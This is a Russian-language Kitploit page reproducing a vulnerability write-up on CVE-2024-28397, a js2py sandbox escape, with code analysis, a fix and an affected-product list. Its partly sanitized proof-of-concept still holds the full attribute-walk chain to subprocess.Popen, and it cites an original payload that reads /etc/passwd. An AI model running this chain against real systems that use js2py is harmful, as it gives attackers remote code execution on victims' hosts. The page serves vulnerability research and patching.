Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2024-28397-js2py-Sandbox-Escape — Подробный анализ CVE-2024-28397, уязвимости побега из песочницы в js2py, позволяющей выполнение удаленного кода (RCE) через обход объектов Python. Включает анализ кода, PoC и рекомендации по исправлению для защитных исследований. | Kitploit
Инструменты/GitHubGitHub/naved124/cve-2024-28397-js2py-sandbox-escape
Анализ уязвимостейАнализ КодаЭксплуатацияВеб-безопасностьСтатьи и ИсследованияОбучение и ОбразованиеРазработка Полезной НагрузкиЭксплуатация Бинарных Файлов

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
GitHub
naved124/cve-2024-28397-js2py-sandbox-escape

CVE-2024-28397-js2py-Sandbox-Escape

Подробный анализ CVE-2024-28397, уязвимости побега из песочницы в js2py, позволяющей выполнение удаленного кода (RCE) через обход объектов Python. Включает анализ кода, PoC и рекомендации по исправлению для защитных исследований.

Репозиторий
11 месяцев назадЕщё не проверено

CVE-2024-28397-js2py-Побег из песочницы

Анализ уязвимости js2py

Введение

js2py — это популярный пакет Python, который позволяет выполнять код JavaScript внутри интерпретатора Python. Он используется различными веб-скраперами для разбора кода JavaScript на веб-сайтах.

Существует уязвимость в реализации глобальной переменной внутри js2py, позволяющая атакующему получить ссылку на объект Python в среде js2py, что даёт возможность выйти за пределы среды JS и выполнить произвольные команды на хосте.

Обычно пользователь вызывает js2py.disable_pyimport(), чтобы запретить коду JavaScript выход из среды js2py. Но с помощью этой уязвимости атакующий может обойти это ограничение и выполнить любую команду на целевом хосте.

Угроза может разместить веб-сайт, содержащий вредоносный файл JavaScript, или отправить вредоносный скрипт через HTTP API для разбора жертвой. Таким образом, злоумышленник может добиться удалённого выполнения кода на хосте, выполняя произвольные команды оболочки на цели.


Предисловие

js2py — это библиотека Python, часто используемая в краулерах для разбора и выполнения кода JS в нативной среде Python. Краулеры обычно используют js2py для разбора кода JS, полученного из сети, тем самым имитируя среду браузера.

Однако js2py имеет функцию, которая чрезвычайно опасна для краулеров: она поддерживает импорт и использование пакетов Python в JS, то есть js2py позволяет коду JS манипулировать различными библиотеками Python и напрямую взаимодействовать со средой Python. Именно из-за этого мы можем использовать метод, похожий на Jinja SSTI, и в среде js2py использовать объект Python для нахождения класса subprocess.Popen и добиться RCE.

Более того, так как js2py — это пакет эпохи Python2, широко используемый и давно не поддерживаемый, его анализ должен быть относительно простым.


Анализ кода

Преобразование кода JS в код Python

После установки точек останова можно обнаружить, что место, где на самом деле выполняется код JS — это функция Eval из host/jseval.py. Установив в ней точки останова, можно увидеть код Python, преобразованный js2py.

Например, этот фрагмент кода JS:

root@kitploit:~
let a = 114
console.log(a)

В конечном итоге будет преобразован в такой код Python:

root@kitploit:~
var.registers(['a'])
var.put('a', Js(114.0))
EVAL_RESULT = (var.get('console').callprop('log', var.get('a')))

Видно, что переменные уровня JS хранятся в переменной Python var. Все значения уровня JS чисто хранятся как класс PyJs (здесь Js на самом деле является функцией, объяснение позже). Функции также вызываются через callprop. В обычных условиях код JS не может затрагивать объекты Python.

При просмотре кода было замечено, что автор очень любит использовать конкатенацию строк для построения конечного кода Python, поэтому возникла мысль, можно ли сконструировать код JS, который генерирует недопустимый код Python, тем самым создавая произвольный код Python и выполняя его. Но учитывая, что этот путь намного сложнее последующего, он не был исследован дальше.


Преобразование данных Python в данные JS

Чтобы получить объект Python и реализовать RCE, прежде всего нужно посмотреть, как объекты Python преобразуются в объекты PyJs.

Сначала находим реализацию функции Js в base.py. Роль функции Js заключается в преобразовании переданного значения Python в соответствующее значение PyJs, тем самым позволяя коду JS манипулировать этими значениями.

root@kitploit:~
def Js(val, Clamped=False):
    '''Converts Py type to PyJs type'''
    if isinstance(val, PyJs):
        return val
    elif val is None:
        return undefined
    elif isinstance(val, basestring):
        return PyJsString(val, StringPrototype)
    elif isinstance(val, bool):
        return true if val else false
    elif isinstance(val, float) or isinstance(val, int) or isinstance(
            val, long) or (NUMPY_AVAILABLE and isinstance(
                val,
                (numpy.int8, numpy.uint8, numpy.int16, numpy.uint16,
                 numpy.int32, numpy.uint32, numpy.float32, numpy.float64))):
        # This is supposed to speed things up. may not be the case
        if val in NUM_BANK:
            return NUM_BANK[val]
        return PyJsNumber(float(val), NumberPrototype)
    ... # several lines omitted here
    else:  # try to convert to js object
        return py_wrap(val)

Видно, что базовые структуры данных Python, такие как bool, float, list и т.д., преобразуются в специализированные классы PyJs, а данные других типов обрабатываются функцией py_wrap и в конечном итоге становятся классом PyObjectWrapper.

Обычные классы PyJs представляют числа, логические значения и другие распространённые данные, в то время как PyObjectWrapper представляет специальные данные, такие как модули Python. Таким образом, как только мы получим данные типа PyObjectWrapper, мы сможем использовать метод доступа к атрибутам, аналогичный Jinja SSTI, для достижения RCE.

В общем случае данные типа PyObjectWrapper можно получить только при включённой функции импорта пакетов Python, но из-за того, что js2py долгое время не обновлялся и не учитывал различия между Python2 и Python3, в конечном итоге произошёл побег из песочницы.

Небольшое отступление: при просмотре реализации PyJs я увидел, что автор написал такие строки кода:

root@kitploit:~
if six.PY3:
    PyJs.__hash__ = PyJs._fuck_python3
    PyJs.__truediv__ = PyJs.__div__

Можно сказать, что автор крайне не любит Python3.


Реализация функций JS

Хотя js2py предоставляет функцию преобразования кода JS в код Python, он также предоставляет несколько встроенных объектов, таких как console и Object, для поддержки нормального выполнения кода JS.

Наша конечная цель — обойти ограничение pyimport и получить объект PyObjectWrapper. Из анализа выше видно, чтобы получить объект PyObjectWrapper из ничего, мы можем только начать с реализации встроенных объектов и извлечь из них объект PyObjectWrapper.

Начнём сканирование кода реализации встроенных объектов. Из constructors/jsobject.py видна реализация различных функций в объекте Object, включая часто используемые функции, такие как Object.keys.

Затем можно увидеть эту функцию:

root@kitploit:~
def getOwnPropertyNames(obj):
    if not obj.is_object():
        raise MakeError(
            'TypeError',
            'Object.getOwnPropertyDescriptor called on non-object')
    return obj.own.keys()

js2py использует dict для представления объектов в JS. Функция keys() здесь вызывает keys() словаря Python. Любой, кто изучал Python, знает, что в Python2 эта функция возвращает список, а в Python3 — представление dict_keys. Согласно реализации функции Js выше, этот dict_keys будет преобразован в PyObjectWrapper, и таким образом мы сможем добиться RCE.


Достижение RCE

Сначала проверим, может ли getOwnPropertyNames получить PyObjectWrapper:

root@kitploit:~
import js2py

code = """
let a = Object.getOwnPropertyNames({})
console.log(a)
"""

js2py.eval_js(code)

Он вывел PyObjectWrapper(dict_keys([])), конечно может.

Затем, основываясь на этом объекте, получаем функцию __getattribute__ и легко достигаем RCE. При написании PoC это казалось слишком сложным; на самом деле, достаточно использовать __class__.__base__, чтобы получить функцию __getattribute__.

Затем, используя функцию __getattribute__, получаем объект object, а затем пишем рекурсивную функцию для поиска любого класса любого модуля. Здесь для RCE ищется subprocess.Popen.

ПРИМЕЧАНИЕ (санировано): Фрагмент кода ниже показан в образовательных и исследовательских целях. Он был санирован, чтобы избежать облегчения злоупотребления: чувствительные команды оболочки и прямое выполнение системных команд были заменены заполнителями. Не запускайте это против производственных или незащищённых систем.

root@kitploit:~
import js2py

code = """
let cmd = "DUMMY_CMD"  # замените на безопасную тестовую команду в лаборатории (например, 'echo test')
let a = Object.getOwnPropertyNames({}).__class__.__base__.__getattribute__
let obj = a(a(a,"__class__"), "__base__")
function findpopen(o) {
    let result;
    for(let i in o.__subclasses__()) {
        let item = o.__subclasses__()[i]
        if(item.__module__ == "subprocess" && item.__name__ == "Popen") {
            return item
        }
        if(item.__name__ != "type" && (result = findpopen(item))) {
            return result
        }
    }
}
// Следующий вызов запустил бы subprocess.Popen с аргументами — в санированной версии
// мы заменяем фактический вызов системы на заполнитель по соображениям безопасности.
// findpopen(obj)(cmd, -1, null, -1, -1, -1, null, null, true).communicate()
console.log("[SANITIZED] PoC execution skipped to avoid misuse")
result
"""

# Примечание: js2py.eval_js(code) намеренно опущен, чтобы избежать выполнения эксплойта в этом репозитории.

Детали уязвимости

  • Номер версии затронутого компонента:

    • последняя версия js2py (<=0.74), работающая под Python 3
  • Затронутые продукты:

    • pyload/pyload
    • VeNoMouS/cloudscraper (использует js2py как опциональный 'интерпретатор JS')
    • dipu-bd/lightnovel-crawler
  • Шаги для воспроизведения (только в лаборатории):

    • Установите Python3 < 3.12 (js2py в настоящее время не поддерживает Python 3.12).
    • Выполните pip install js2py для установки js2py и выполните санированный PoC-скрипт в изолированной лабораторной среде. Оригинальный PoC пытался выполнить такие команды, как head -n 1 /etc/passwd и калькуляторы; в этом репозитории они заменены безопасными заполнителями.
    • Если уязвимость существует, исследователь заметит, что PyObjectWrapper можно получить из Object.getOwnPropertyNames({}), что позволяет обходить атрибуты для доступа к внутренностям Python.

Исправление

Поскольку проблема заключается в функции getOwnPropertyNames, преобразование возвращаемого dict_keys в обычный список исправляет проблему. Предлагается обернуть obj.own.keys() в list(...) перед возвратом.


Отказ от ответственности

Этот репозиторий предназначен только для образовательных и защитных исследований. Не используйте никакую информацию или код из него для атак на системы без явного разрешения. Фрагменты PoC были санированы, чтобы избежать облегчения злоупотребления.


Составлено и переведено для исследовательских и защитных целей.

Скачать инструмент